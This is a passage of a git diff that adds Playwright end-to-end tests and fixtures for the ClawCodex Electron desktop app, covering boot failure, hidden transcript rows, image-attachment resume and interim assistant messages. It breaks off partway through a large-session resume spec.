+   * When true, inject a fake boot error via CLAWCODEX_DESKTOP_BOOT_FAKE_ERROR
+   * so the backend resolution itself "fails" with a controlled error message.
+   * This is the only reliable way to trigger BootFailureOverlay in dev mode
+   * (the real backend always resolves via SOURCE_REPO_ROOT).
+   */
+  fakeError?: boolean
+}
+
+/**
+ * Launch the app with a provider pointing at a dead endpoint (port 1, which
+ * nothing listens on). By default the backend still boots (`clawcodex serve`
+ * starts fine — the dead endpoint only matters at chat time). Pass
+ * `{ fakeError: true }` to inject a fake boot failure, triggering the
+ * BootFailureOverlay.
+ */
+export async function setupDeadBackend(options: DeadBackendOptions = {}): Promise<DeadBackendFixture> {
+  const sandbox = createSandbox('dead')
+  const configPath = path.join(sandbox.clawcodexHome, 'config.yaml')
+  fs.writeFileSync(
+    configPath,
+    `# Auto-generated by E2E test fixtures — dead provider
+model:
+  default: mock-model
+  provider: mock
+providers:
+  mock:
+    api: http://127.0.0.1:1/v1
+    name: Mock
+    api_mode: chat_completions
+    key_env: MOCK_API_KEY
+    models:
+      mock-model: {}
+    context_length: 4096
+`,
+    'utf8',
+  )
+  writeEnvFile(sandbox.clawcodexHome)
+
+  const env = buildAppEnv(sandbox, options.fakeError ? { CLAWCODEX_DESKTOP_BOOT_FAKE_ERROR: 'Failed to connect to ClawCodex backend: connection refused' } : {})
+  const { app, page } = await launchDesktop(env)
+
+  return {
+    app,
+    page,
+    sandbox,
+    cleanup: async () => {
+      await app.close().catch(() => undefined)
+      sandbox.cleanup()
+    },
+  }
+}
+
+// ─── Packaged-binary fixture ───────────────────────────────────────────
+
+/**
+ * Resolve the packaged Electron binary path, per-platform, matching
+ * electron-builder's output layout under release/.
+ */
+function resolvePackagedBinaryPath(): string {
+  if (process.platform === 'win32') {
+    return path.join(RELEASE_ROOT, 'win-unpacked', 'ClawCodex.exe')
+  }
+
+  if (process.platform === 'darwin') {
+    const arch = process.arch === 'arm64' ? 'arm64' : 'x64'
+
+    return path.join(RELEASE_ROOT, `mac-${arch}`, 'ClawCodex.app', 'Contents', 'MacOS', 'ClawCodex')
+  }
+
+  return path.join(RELEASE_ROOT, 'linux-unpacked', 'clawcodex')
+}
+
+export const PACKAGED_BINARY_PATH = resolvePackagedBinaryPath()
+
+export function packagedBinaryExists(): boolean {
+  return fs.existsSync(PACKAGED_BINARY_PATH)
+}
+
+export interface PackagedAppFixture {
+  app: ElectronApplication
+  page: Page
+  sandbox: Sandbox
+  cleanup: () => Promise<void>
+}
+
+/**
+ * Launch the *packaged* Electron binary (from `npm run pack` →
+ * `electron-builder --dir`) with `BOOT_FAKE=1` so it simulates boot
+ * progress without spawning a real ClawCodex backend.
+ *
+ * Uses the same sandbox isolation (credential stripping, isolated
+ * CLAWCODEX_CONFIG_DIR + userData, unique app name) as the dev-mode fixtures.
+ *
+ * Skips if the packaged binary doesn't exist — run `npm run pack` first.
+ */
+export async function setupPackagedApp(): Promise<PackagedAppFixture> {
+  if (!packagedBinaryExists()) {
+    throw new Error(
+      `Built app binary not found: ${PACKAGED_BINARY_PATH}. Run 'npm run pack' first.`,
+    )
+  }
+
+  const sandbox = createSandbox('packaged')
+
+  // Build the sandbox env using the shared helpers, then add the
+  // packaged-binary-specific overrides.
+  const env = buildAppEnv(sandbox, {
+    // Fake boot: simulates progress steps without spawning the real backend.
+    CLAWCODEX_DESKTOP_BOOT_FAKE: '1',
+    CLAWCODEX_DESKTOP_BOOT_FAKE_STEP_MS: '120',
+  })
+
+  // Clear dev-server + clawcodex-root overrides — the packaged binary
+  // should use its own bundled renderer, not the dev checkout.
+  delete (env as Record<string, string | undefined>).CLAWCODEX_DESKTOP_DEV_SERVER
+  delete (env as Record<string, string | undefined>).CLAWCODEX_DESKTOP_CLAWCODEX
+  delete (env as Record<string, string | undefined>).CLAWCODEX_DESKTOP_CLAWCODEX_ROOT
+
+  const app = await _electron.launch({
+    executablePath: PACKAGED_BINARY_PATH,
+    args: ['--disable-gpu', '--no-sandbox'],
+    env,
+  })
+
+  const page = await app.firstWindow()
+  installErrorBannerGuard(page)
+
+  return {
+    app,
+    page,
+    sandbox,
+    cleanup: async () => {
+      await app.close().catch(() => undefined)
+      sandbox.cleanup()
+    },
+  }
+}
+
+// ─── Wait helpers ──────────────────────────────────────────────────────
+
+/**
+ * Wait for the desktop app to finish booting and show the main chat UI.
+ *
+ * The boot overlay disappears when `completeDesktopBoot()` fires in the
+ * renderer — at that point the gateway is open, config is loaded, and
+ * sessions are loaded. We detect this by waiting for the boot/connecting
+ * overlay to become invisible and the main app shell to be present.
+ *
+ * Two things must both be true before we return:
+ *  1. The composer (chat input) is visible — it's disabled until the
+ *     gateway is open.
+ *  2. No full-screen overlay (onboarding Preparing, connecting overlay,
+ *     boot-failure) covers the viewport center. The composer can be
+ *     "visible" in Playwright's eyes (non-zero bounding box, not
+ *     display:none) even when a z-1300+ overlay is painted on top of it,
+ *     so checking the composer alone catches the app mid-boot at ~92%
+ *     with the loading bar still showing.
+ */
+export async function waitForAppReady(fixture: MockBackendFixture | NoProviderFixture | DeadBackendFixture, timeoutMs = 60_000): Promise<void> {
+  const { page, app } = fixture
+
+  // Wait for the composer to exist in the DOM (not necessarily interactive yet).
+  await page.waitForSelector('textarea, [contenteditable="true"]', {
+    state: 'attached',
+    timeout: timeoutMs,
+  })
+
+  // Now poll until no full-screen overlay covers the viewport center.
+  // elementFromPoint returns the topmost element at a point — if it's part
+  // of a fixed inset-0 overlay (onboarding/connecting/boot-failure), the
+  // app isn't ready yet.
+  await page.waitForFunction(
+    () => {
+      const el = document.elementFromPoint(window.innerWidth / 2, window.innerHeight / 2)
+
+      if (!el) {
+        return false
+      }
+
+      // Walk up to the nearest positioned ancestor — overlays are
+      // `position: fixed; inset: 0`. If the hit element or an ancestor
+      // is a full-viewport fixed overlay, we're still covered.
+      let node: Element | null = el
+      while (node) {
+        const cs = window.getComputedStyle(node)
+
+        if (cs.position === 'fixed') {
+          const rect = node.getBoundingClientRect()
+
+          if (rect.left <= 0 && rect.top <= 0 && rect.right >= window.innerWidth && rect.bottom >= window.innerHeight) {
+            return false
+          }
+        }
+
+        node = node.parentElement
+      }
+
+      return true
+    },
+    undefined,
+    { timeout: timeoutMs },
+  )
+
+  // On Electron 40.x, ready-to-show may never fire (electron/electron#51972)
+  // and the window stays hidden even though the DOM is rendered. The main
+  // process has a TEST_WORKER_INDEX-gated fallback that force-shows the
+  // window, but the DOM can be ready before that fires. Poll until the
+  // window is actually visible so interactions (click, screenshot) don't
+  // hit a hidden surface.
+  if (app) {
+    const deadline = Date.now() + timeoutMs
+
+    while (Date.now() < deadline) {
+      const visible = await app.evaluate(({ BrowserWindow }) => {
+        const w = BrowserWindow.getAllWindows()[0]
+
+        return w ? w.isVisible() : false
+      }).catch(() => false)
+
+      if (visible) {break}
+      await page.waitForTimeout(500)
+    }
+  }
+}
+
+/**
+ * Wait for the onboarding overlay to appear (no provider configured).
+ */
+export async function waitForOnboarding(page: Page, timeoutMs = 60_000): Promise<void> {
+  // The onboarding overlay contains a heading with "Choose your provider"
+  // or similar text. We look for any text that indicates the picker.
+  await page.waitForFunction(
+    () => {
+      const root = document.getElementById('root')
+
+      if (!root) {
+        return false
+      }
+
+      const text = root.textContent ?? ''
+
+      return (
+        text.includes('provider') ||
+        text.includes('Provider') ||
+        text.includes('Choose') ||
+        text.includes('API key') ||
+        text.includes('Sign in')
+      )
+    },
+    undefined,
+    { timeout: timeoutMs },
+  )
+}
+
+/**
+ * Wait for the boot failure overlay to appear.
+ */
+export async function waitForBootFailure(page: Page, timeoutMs = 60_000): Promise<void> {
+  await page.waitForFunction(
+    () => {
+      // Boot failure is terminal: the backend gave up. The renderer shows
+      // either BootFailureOverlay (z-1400, with Retry/Repair buttons) or
+      // falls back to the onboarding picker (z-1300) as a recovery path.
+      // We wait for the failure dialog itself — the Preparing component may
+      // still paint its progress bar (recolored red) underneath the overlay,
+      // which is harmless.
+      const text = document.body.textContent ?? ''
+
+      // BootFailureOverlay buttons.
+      const hasFailureUI =
+        text.includes('Retry') ||
+        text.includes('Repair') ||
+        text.includes('Use local gateway') ||
+        text.includes('Connection settings')
+
+      // The error toast / notification that fires on failDesktopBoot().
+      const hasErrorToast = text.includes('Desktop boot failed')
+
+      return hasFailureUI || hasErrorToast
+    },
+    undefined,
+    { timeout: timeoutMs },
+  )
+}
diff --git a/ui-desktop/e2e/hidden-history-messages.spec.ts b/ui-desktop/e2e/hidden-history-messages.spec.ts
new file mode 100644
index 000000000..51847cf5b
--- /dev/null
+++ b/ui-desktop/e2e/hidden-history-messages.spec.ts
@@ -0,0 +1,147 @@
+/**
+ * E2E regression: desktop resume must hide agent-only transcript rows.
+ *
+ * Compaction handoffs are active user rows because the model needs them for
+ * context continuity. They are not authored chat content, so the desktop
+ * transcript must never display them after a real compressor-generated resume.
+ */
+
+import * as fs from 'node:fs'
+import * as path from 'node:path'
+
+import { expect, test } from './test'
+
+import {
+  type MockBackendFixture,
+  buildAppEnv,
+  createSandbox,
+  launchDesktop,
+  waitForAppReady,
+  writeEnvFile,
+  writeMockProviderConfig,
+} from './fixtures'
+import {
+  MOCK_REPLY,
+  startMockServer,
+  VERIFICATION_STOP_TEXT,
+  VERIFICATION_STOP_TRIGGER,
+} from './mock-server'
+import { RealSessionBuilder } from './real-session-builder'
+
+const SESSION_TITLE = 'E2E Hidden History Messages'
+const VISIBLE_USER_TEXT = 'E2E_VISIBLE_USER_HISTORY'
+const VISIBLE_POST_COMPACTION_TEXT = 'E2E_VISIBLE_POST_COMPACTION_HISTORY'
+const COMPACTION_TRIGGER_PADDING = ' force real context compression'.repeat(600)
+
+async function setupSeededMockBackend(): Promise<MockBackendFixture> {
+  const mock = await startMockServer()
+  const sandbox = createSandbox('hidden-history')
+  writeMockProviderConfig(sandbox.clawcodexHome, mock.url)
+  fs.appendFileSync(
+    path.join(sandbox.clawcodexHome, 'config.yaml'),
+    '\ncompression:\n  threshold_tokens: 1\n',
+    'utf8',
+  )
+  writeEnvFile(sandbox.clawcodexHome)
+  const builder = await RealSessionBuilder.start(sandbox.clawcodexHome)
+  try {
+    await builder.createSession({
+      title: SESSION_TITLE,
+      turns: [
+        `${VISIBLE_USER_TEXT}${COMPACTION_TRIGGER_PADDING}`,
+        VISIBLE_POST_COMPACTION_TEXT,
+      ],
+    })
+  } finally {
+    await builder.close()
+  }
+
+  const { app, page } = await launchDesktop(buildAppEnv(sandbox))
+
+  return {
+    app,
+    page,
+    mock,
+    mockUrl: mock.url,
+    sandbox,
+    cleanup: async () => {
+      await app.close().catch(() => undefined)
+      await mock.close()
+      sandbox.cleanup()
+    },
+  }
+}
+
+test('resume hides real context-compaction handoffs', async ({}, testInfo) => {
+  const fixture = await setupSeededMockBackend()
+
+  try {
+    const { page } = fixture
+    await waitForAppReady(fixture, 120_000)
+
+    const sessionRow = page
+      .locator('[data-slot="sidebar"] button')
+      .filter({ hasText: SESSION_TITLE })
+      .first()
+    await sessionRow.click()
+
+    const transcript = page.locator('[data-slot="aui_thread-viewport"]')
+    await expect(transcript).toContainText(VISIBLE_USER_TEXT)
+    await expect(transcript).toContainText(VISIBLE_POST_COMPACTION_TEXT)
+    await expect(transcript).toContainText(MOCK_REPLY)
+    await expect(transcript).not.toContainText('[CONTEXT COMPACTION — REFERENCE ONLY]')
+    await page.screenshot({ path: testInfo.outputPath('hidden-history-resume.png') })
+  } finally {
+    await fixture.cleanup()
+  }
+})
+
+test('live verify-on-stop continuations stay out of the transcript', async ({}, testInfo) => {
+  const sandbox = createSandbox('live-verification-nudge')
+  const projectRoot = path.join(sandbox.root, 'project')
+  const changedFile = path.join(projectRoot, 'e2e-verification-target.py')
+  fs.mkdirSync(projectRoot)
+  fs.writeFileSync(
+    path.join(projectRoot, 'pyproject.toml'),
+    '[project]\nname = "e2e-verification-project"\nversion = "0.0.0"\n',
+    'utf8',
+  )
+
+  const mock = await startMockServer({ verificationWritePath: changedFile })
+  writeMockProviderConfig(sandbox.clawcodexHome, mock.url)
+  fs.appendFileSync(path.join(sandbox.clawcodexHome, 'config.yaml'), '\nagent:\n  verify_on_stop: true\n', 'utf8')
+  writeEnvFile(sandbox.clawcodexHome)
+  const { app, page } = await launchDesktop(buildAppEnv(sandbox))
+  const fixture: MockBackendFixture = {
+    app,
+    page,
+    mock,
+    mockUrl: mock.url,
+    sandbox,
+    cleanup: async () => {
+      await app.close().catch(() => undefined)
+      await mock.close()
+      sandbox.cleanup()
+    },
+  }
+
+  try {
+    await waitForAppReady(fixture, 120_000)
+    const composer = page.locator('[contenteditable="true"]').first()
+    await composer.click()
+    await composer.type(VERIFICATION_STOP_TRIGGER)
+    await page.keyboard.press('Enter')
+
+    const transcript = page.locator('[data-slot="aui_thread-viewport"]')
+    await expect(transcript).toContainText(VERIFICATION_STOP_TEXT, { timeout: 60_000 })
+    await expect.poll(
+      () => mock.receivedPrompts.some(prompt => prompt.includes('[System: You edited code in this turn')),
+      { timeout: 30_000 },
+    ).toBe(true)
+    expect(fs.existsSync(changedFile), 'The scripted write_file call should edit only the sandbox project').toBe(true)
+    await expect(transcript).not.toContainText('[System: You edited code in this turn')
+    await page.screenshot({ path: testInfo.outputPath('live-verification-nudge.png') })
+  } finally {
+    await fixture.cleanup()
+  }
+})
diff --git a/ui-desktop/e2e/image-attachment-resume.spec.ts b/ui-desktop/e2e/image-attachment-resume.spec.ts
new file mode 100644
index 000000000..9b669a68c
--- /dev/null
+++ b/ui-desktop/e2e/image-attachment-resume.spec.ts
@@ -0,0 +1,197 @@
+/**
+ * Regression coverage for an attached image in a durable session. The gateway
+ * persists the turn, the builder exits, and desktop renders it from SessionDB
+ * for the first time — the "quit and relaunch" case, where the transcript used
+ * to come back as vision-enrichment prose instead of a thumbnail.
+ *
+ * The fixture pins `image_input_mode: native` because that is the majority
+ * routing path (any vision-capable model) and the one where a text-only
+ * persist override is silently dropped. The image also sits behind directory
+ * and file names containing spaces, mirroring the macOS composer's
+ * `~/Library/Application Support/...` staging path.
+ */
+
+import * as fs from 'node:fs'
+import * as path from 'node:path'
+
+import {
+  buildAppEnv,
+  createSandbox,
+  launchDesktop,
+  type Sandbox,
+  waitForAppReady,
+  writeEnvFile,
+  writeMockProviderConfig,
+} from './fixtures'
+import { type MockServer, startMockServer } from './mock-server'
+import { RealSessionBuilder } from './real-session-builder'
+import { type ElectronApplication, expect, type Page, test } from './test'
+
+// A seeded session has no generated title, so every label falls back to the
+// session preview — the first 60 characters of the first user message.
+const SESSION_TITLE = 'E2E attached image session'
+const CAPTION = 'E2E attached image must survive a relaunch'
+const IMAGE_DIR = 'Application Support/e2e shots'
+const IMAGE_NAME = 'e2e capture.png'
+const NATIVE_IMAGE_CONFIG = 'agent:\n  image_input_mode: native'
+
+/** A 160x100 framed magenta block — small, but visible in the screenshots. */
+const PNG_BASE64 =
+  'iVBORw0KGgoAAAANSUhEUgAAAKAAAABkCAIAAACO1KzYAAAA30lEQVR42u3dwQ2AIBAAQTAWAx1iBXYI7diCuWhEMvP2dZsj+CL30hLr2oxAYARGYARGYARGYIERGIH53n7nozpOk5rQqIcNdkQjMAIjMNPeomP3N54V+5exwY5oBEZgBEZgBEZggREYgREYgREYgQVGYARGYARGYARGYIERGIERGIERGIEFRmAERmAERmAEFhiBERiBERiBERiBBUZgBEZgBEZgBBYYgREYgREYgRFYYCMQGIERmPSj94Njb9ligxEYgRFYYJaQe2mmYIMRGIERGIERGIEFRmAERmDedAFtjAtAGWDnoAAAAABJRU5ErkJggg=='
+
+interface SeededFixture {
+  app: ElectronApplication
+  mock: MockServer
+  page: Page
+  sandbox: Sandbox
+  cleanup: () => Promise<void>
+}
+
+function writeImage(sandbox: Sandbox): string {
+  const dir = path.join(sandbox.root, IMAGE_DIR)
+  fs.mkdirSync(dir, { recursive: true })
+
+  const imagePath = path.join(dir, IMAGE_NAME)
+  fs.writeFileSync(imagePath, Buffer.from(PNG_BASE64, 'base64'))
+
+  return imagePath
+}
+
+async function setupSeededDesktop(): Promise<SeededFixture> {
+  const mock = await startMockServer()
+  const sandbox = createSandbox('image-attachment')
+  writeMockProviderConfig(sandbox.clawcodexHome, mock.url, undefined, NATIVE_IMAGE_CONFIG)
+  writeEnvFile(sandbox.clawcodexHome)
+
+  const builder = await RealSessionBuilder.start(sandbox.clawcodexHome)
+
+  try {
+    await builder.createSession({
+      title: SESSION_TITLE,
+      turns: [{ images: [writeImage(sandbox)], text: CAPTION }],
+    })
+  } finally {
+    await builder.close()
+  }
+
+  const { app, page } = await launchDesktop(buildAppEnv(sandbox))
+
+  return {
+    app,
+    mock,
+    page,
+    sandbox,
+    cleanup: async () => {
+      await app.close().catch(() => undefined)
+      await mock.close()
+      sandbox.cleanup()
+    },
+  }
+}
+
+function sessionRow(page: Page) {
+  return page.locator('[data-slot="sidebar"] button').filter({ hasText: CAPTION }).first()
+}
+
+// Inactive tabs stay mounted under a data-pane-hidden ancestor. Match the
+// renderer's keep-alive visibility policy instead of relying on DOM order.
+const SURFACE = '[data-composer-target]:not([data-pane-hidden] [data-composer-target])'
+
+function activeViewportText(surfaceSelector: string): string {
+  const surfaces = document.querySelectorAll(surfaceSelector)
+
+  return surfaces[surfaces.length - 1]?.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? ''
+}
+
+async function openSeededSession(page: Page): Promise<void> {
+  const row = sessionRow(page)
+  await row.waitFor({ state: 'visible', timeout: 60_000 })
+  await row.click()
+  await page.waitForFunction(
+    ([expected, surfaceSelector]: [string, string]) => {
+      const surfaces = document.querySelectorAll(surfaceSelector)
+      const text = surfaces[surfaces.length - 1]?.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? ''
+
+      return text.includes(expected)
+    },
+    [CAPTION, SURFACE] as [string, string],
+    { timeout: 30_000 },
+  )
+}
+
+/**
+ * The sidebar "+" opens a NEW TAB beside the current chat instead of replacing
+ * it, so the seeded session stays mounted in its own surface. Assert the new
+ * surface is empty rather than waiting for the old caption to leave the page.
+ */
+async function openNewSession(page: Page): Promise<void> {
+  await page.locator('[data-slot="sidebar"] button[aria-label="New session"]').first().click()
+  await page.waitForFunction(
+    ([expected, surfaceSelector]: [string, string]) => {
+      const surfaces = document.querySelectorAll(surfaceSelector)
+      const text = surfaces[surfaces.length - 1]?.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? ''
+
+      return surfaces.length > 0 && !text.includes(expected)
+    },
+    [CAPTION, SURFACE] as [string, string],
+    { timeout: 15_000 },
+  )
+}
+
+async function transcriptText(page: Page): Promise<string> {
+  return page.evaluate(activeViewportText, SURFACE)
+}
+
+async function assertRendersThumbnail(page: Page, label: string): Promise<void> {
+  const thumbnail = page.locator('[data-slot="aui_directive-image"] img')
+  await expect(thumbnail, `${label}: the attachment should render as an image`).toHaveCount(1)
+  await expect(thumbnail, `${label}: the thumbnail should resolve off disk`).toHaveAttribute('src', /^data:image\//)
+
+  const text = await transcriptText(page)
+  expect(text, `${label}: the caption should survive alongside the image`).toContain(CAPTION)
+  // A broken ref falls back to a chip whose label leaks the path, and a
+  // flattened multimodal turn leaves the agent's placeholder behind.
+  expect(text, `${label}: the raw image path should not leak into the transcript`).not.toContain(IMAGE_NAME)
+  expect(text, `${label}: the image directive should not render literally`).not.toContain('@image:')
+  expect(text, `${label}: the flattening placeholder should not render`).not.toContain('[screenshot]')
+}
+
+test.describe('attached image resume', () => {
+  let fixture: SeededFixture | null = null
+
+  test.afterEach(async () => {
+    await fixture?.cleanup()
+    fixture = null
+  })
+
+  test('renders a persisted attachment as a thumbnail on first open and after a cold reload', async ({}, testInfo) => {
+    // Seeding through the real gateway plus two full app boots does not fit the
+    // default per-test budget on a cold runner.
+    test.slow()
+
+    fixture = await setupSeededDesktop()
+    await waitForAppReady(fixture, 120_000)
+
+    // The sidebar labels a session by its preview, so the caption has to lead
+    // the persisted turn — a leading directive reads as a truncated file path.
+    const row = sessionRow(fixture.page)
+    await row.waitFor({ state: 'visible', timeout: 60_000 })
+
+    const label = (await row.textContent())?.trim() ?? ''
+    expect(label.startsWith(CAPTION), `sidebar label should open with the caption: ${label}`).toBe(true)
+
+    await openSeededSession(fixture.page)
+    await assertRendersThumbnail(fixture.page, 'first open')
+    await fixture.page.screenshot({ path: testInfo.outputPath('attachment-first-open.png') })
+
+    // A reload drops every cached attachment ref, so the transcript has to come
+    // back from the persisted turn alone.
+    await fixture.page.reload()
+    await waitForAppReady(fixture, 120_000)
+    await openNewSession(fixture.page)
+
+    await openSeededSession(fixture.page)
+    await assertRendersThumbnail(fixture.page, 'cold reload')
+    await fixture.page.screenshot({ path: testInfo.outputPath('attachment-cold-reload.png') })
+  })
+})
diff --git a/ui-desktop/e2e/interim-messages.spec.ts b/ui-desktop/e2e/interim-messages.spec.ts
new file mode 100644
index 000000000..2f6da0139
--- /dev/null
+++ b/ui-desktop/e2e/interim-messages.spec.ts
@@ -0,0 +1,215 @@
+/**
+ * E2E test for the interim-assistant-message preservation fix (#65919).
+ *
+ * Reproduces the bug across all three layers (agent core → tui_gateway →
+ * desktop renderer): when the agent emits assistant text alongside a tool
+ * call, then completes the turn with a *different* final answer, the
+ * interim text must survive in the transcript — not be wiped when
+ * message.complete replaces the streaming bubble.
+ *
+ * The mock server walks through a multi-turn script when it sees the
+ * trigger keyword:
+ *
+ *   Turn 1: "Let me start by planning the approach." + todo tool_call
+ *   Turn 2: "Now checking the details before answering." + todo tool_call
+ *   Turn 3: (no text) + todo tool_call          → NO interim (no visible text)
+ *   Turn 4: "Found something interesting worth noting." + todo tool_call
+ *   Turn 5: "All done! Here is the complete summary..." (final, stop)
+ *
+ * Two describe blocks exercise the config flag both ways:
+ *
+ *   display.interim_assistant_messages: true (default)
+ *     → ALL interim texts AND the final text must be visible in the
+ *       transcript.
+ *
+ *   display.interim_assistant_messages: false
+ *     → only the final text is visible (no message.interim events emitted,
+ *       so all streamed interim text is replaced at message.complete).
+ *
+ * Prerequisite: `npm run build` must have been run so dist/ exists.
+ */
+
+import { expect, test, type Page } from '@playwright/test'
+
+import {
+  type MockBackendFixture,
+  setupMockBackend,
+  waitForAppReady,
+} from './fixtures'
+import { INTERIM_TEXTS, restartMockServer } from './mock-server'
+
+// ─── Helpers ──────────────────────────────────────────────────────────
+
+/** Unique trigger keyword the mock server detects to switch to the script. */
+const TRIGGER = 'E2E_INTERIM_TRIGGER'
+
+/**
+ * Send a message and wait for BOTH the user's message and the agent's
+ * final response to appear in the transcript. Returns when the final text
+ * is visible, which means message.complete has fired and the transcript
+ * has settled.
+ */
+async function sendInterimMessage(page: Page): Promise<void> {
+  const composer = page.locator('[contenteditable="true"]').first()
+  await composer.waitFor({ state: 'visible', timeout: 10_000 })
+  await composer.click()
+  await composer.type(TRIGGER, { delay: 20 })
+  await page.keyboard.press('Enter')
+
+  // Wait for the user's trigger message to appear.
+  await page.waitForFunction(
+    () => (document.body.textContent ?? '').includes('E2E_INTERIM_TRIGGER'),
+    undefined,
+    { timeout: 15_000 },
+  )
+
+  // Wait for the agent's FINAL response (last turn). This means
+  // message.complete has fired and the transcript is settled.
+  await page.waitForFunction(
+    (finalText) => (document.body.textContent ?? '').includes(finalText),
+    INTERIM_TEXTS.finalText,
+    { timeout: 90_000 },
+  )
+
+  // Give the renderer a moment to settle any final state updates
+  // (hydration, session refresh) before asserting.
+  await page.waitForTimeout(2000)
+}
+
+/**
+ * Count how many times `text` appears as distinct text in the chat transcript
+ * (excluding the session sidebar, whose session-preview label shows the
+ * first streamed text as a title).
+ *
+ * The desktop app renders the transcript inside a
+ * `[data-slot="aui_thread-viewport"]` container (from @assistant-ui/react).
+ * The session sidebar's preview labels live outside that container, so
+ * scoping the DOM walk to the viewport cleanly excludes them.
+ */
+async function countTranscriptMessagesContaining(page: Page, text: string): Promise<number> {
+  return page.evaluate(
+    (search) => {
+      const viewport = document.querySelector('[data-slot="aui_thread-viewport"]')
+      if (!viewport) {
+        return 0
+      }
+
+      let count = 0
+      const walker = document.createTreeWalker(
+        viewport,
+        NodeFilter.SHOW_ELEMENT,
+        {
+          acceptNode: (node) => {
+            const el = node as HTMLElement
+            const directText = el.textContent ?? ''
+            if (!directText.includes(search)) {
+              return NodeFilter.FILTER_SKIP
+            }
+            // Only count leaf-ish elements to avoid double-counting.
+            const hasChildWithText = Array.from(el.children).some(
+              (child) => (child.textContent ?? '').includes(search),
+            )
+            if (hasChildWithText) {
+              return NodeFilter.FILTER_SKIP
+            }
+            return NodeFilter.FILTER_ACCEPT
+          },
+        },
+      )
+      while (walker.nextNode()) {
+        count++
+      }
+      return count
+    },
+    text,
+  )
+}
+
+// ─── Flag ON: interim_assistant_messages = true (default) ─────────────
+
+test.describe('interim assistant messages — flag ON (default)', () => {
+  test.describe.configure({ mode: 'serial' })
+
+  let fixture: MockBackendFixture
+
+  test.beforeAll(async () => {
+    restartMockServer()
+    fixture = await setupMockBackend()
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterAll(async () => {
+    await fixture?.cleanup()
+  })
+
+  test('all interim texts survive alongside the final response', async () => {
+    const page = fixture.page
+    await sendInterimMessage(page)
+
+    // Every interim text (turns with visible text + tool calls) must be
+    // present in the transcript as its own sealed message — NOT wiped by
+    // message.complete.
+    for (const interimText of INTERIM_TEXTS.interims) {
+      await expect
+        .poll(
+          () => countTranscriptMessagesContaining(page, interimText),
+          { timeout: 15_000, message: `interim text "${interimText}" should be visible` },
+        )
+        .toBeGreaterThanOrEqual(1)
+    }
+
+    // The final text must also be visible.
+    await expect
+      .poll(
+        () => countTranscriptMessagesContaining(page, INTERIM_TEXTS.finalText),
+        { timeout: 15_000, message: 'final text should be visible' },
+      )
+      .toBeGreaterThanOrEqual(1)
+  })
+})
+
+// ─── Flag OFF: interim_assistant_messages = false ────────────────────
+
+test.describe('interim assistant messages — flag OFF', () => {
+  test.describe.configure({ mode: 'serial' })
+
+  let fixture: MockBackendFixture
+
+  test.beforeAll(async () => {
+    restartMockServer()
+    fixture = await setupMockBackend({
+      extraDisplayConfig: '  interim_assistant_messages: false',
+    })
+    await waitForAppReady(fixture, 120_000)
+  })
+
+  test.afterAll(async () => {
+    await fixture?.cleanup()
+  })
+
+  test('only the final response is visible; all interim texts are wiped', async () => {
+    const page = fixture.page
+    await sendInterimMessage(page)
+
+    // The final text must be visible.
+    await expect
+      .poll(
+        () => countTranscriptMessagesContaining(page, INTERIM_TEXTS.finalText),
+        { timeout: 15_000, message: 'final text should be visible' },
+      )
+      .toBeGreaterThanOrEqual(1)
+
+    // NONE of the interim texts should be visible — with the flag off,
+    // the tui_gateway never installs interim_assistant_callback, so no
+    // message.interim events are emitted. All streamed interim text is
+    // accumulated into the streaming bubble and replaced by
+    // message.complete.
+    for (const interimText of INTERIM_TEXTS.interims) {
+      const count = await countTranscriptMessagesContaining(page, interimText)
+      expect(
+        count,
+        `interim text "${interimText}" should NOT be visible when flag is off`,
+      ).toBe(0)
+    }
+  })
+})
diff --git a/ui-desktop/e2e/large-session-resume.spec.ts b/ui-desktop/e2e/large-session-resume.spec.ts
new file mode 100644
index 000000000..fb271b0b2
--- /dev/null
+++ b/ui-desktop/e2e/large-session-resume.spec.ts
@@ -0,0 +1,255 @@
+import * as path from 'node:path'
+
+import { type TestInfo } from '@playwright/test'
+
+import { expect, test, type ElectronApplication, type Page } from './test'
+
+import {
+  buildAppEnv,
+  createSandbox,
+  launchDesktop,
+  type Sandbox,
+  waitForAppReady,
+  writeEnvFile,
+  writeMockProviderConfig,
+} from './fixtures'
+import { MOCK_REPLY, startMockServer, type MockServer, type MockServerOptions } from './mock-server'
+import { RealSessionBuilder } from './real-session-builder'
+
+const DESKTOP_ROOT = path.resolve(import.meta.dirname, '..')
+const SESSION_TITLE = 'E2E large persisted session'
+const EXPECTED_TEXT = 'E2E persisted user message 52'
+// The oldest seeded turn (HISTORY_TURNS[0]). The transcript first paints only
+// the newest turns (FIRST_PAINT_BUDGET) and backfills the rest in a rAF; a
+// baseline count taken before that backfill sees a clipped transcript and
+// falsely reports duplicates once the full list mounts. Waiting for this
+// oldest row means the baseline reflects the fully-mounted transcript.
+const OLDEST_SEEDED_TEXT = 'E2E persisted user message 0: audit the compatibility matrix'
+const BACKGROUND_PROMPT = 'E2E background inference must remain attached across resume'
+const HISTORY_TURNS = Array.from(
+  { length: 27 },
+  (_, index) => `E2E persisted user message ${index * 2}: audit the compatibility matrix`,
+)
+
+interface SeededFixture {
+  app: ElectronApplication
+  mock: MockServer
+  mockUrl: string
+  page: Page
+  sandbox: Sandbox
+  cleanup: () => Promise<void>
+}
+
+interface PaintState {
+  bursts: number
+  timeline: Array<{ mutations: number; time: number }>
+}
+
+async function setupSeededDesktop(mockServer?: MockServerOptions): Promise<SeededFixture> {
+  const mock = await startMockServer(mockServer)
+  const sandbox = createSandbox('large-session')
+  writeMockProviderConfig(sandbox.clawcodexHome, mock.url)
+  writeEnvFile(sandbox.clawcodexHome)
+
+  const builder = await RealSessionBuilder.start(sandbox.clawcodexHome)
+  try {
+    await builder.createSession({ title: SESSION_TITLE, turns: HISTORY_TURNS })
+  } finally {
+    await builder.close()
+  }
+
+  const { app, page } = await launchDesktop(buildAppEnv(sandbox))
+
+  return {
+    app,
+    mock,
+    mockUrl: mock.url,
+    page,
+    sandbox,
+    cleanup: async () => {
+      await app.close().catch(() => undefined)
+      await mock.close()
+      sandbox.cleanup()
+    },
+  }
+}
+
+function sessionRow(page: Page) {
+  return page.locator('[data-slot="sidebar"] button').filter({ hasText: SESSION_TITLE }).first()
+}
+
+async function openSeededSession(page: Page): Promise<void> {
+  const row = sessionRow(page)
+  await row.waitFor({ state: 'visible', timeout: 60_000 })
+  await row.click()
+  await page.waitForFunction(
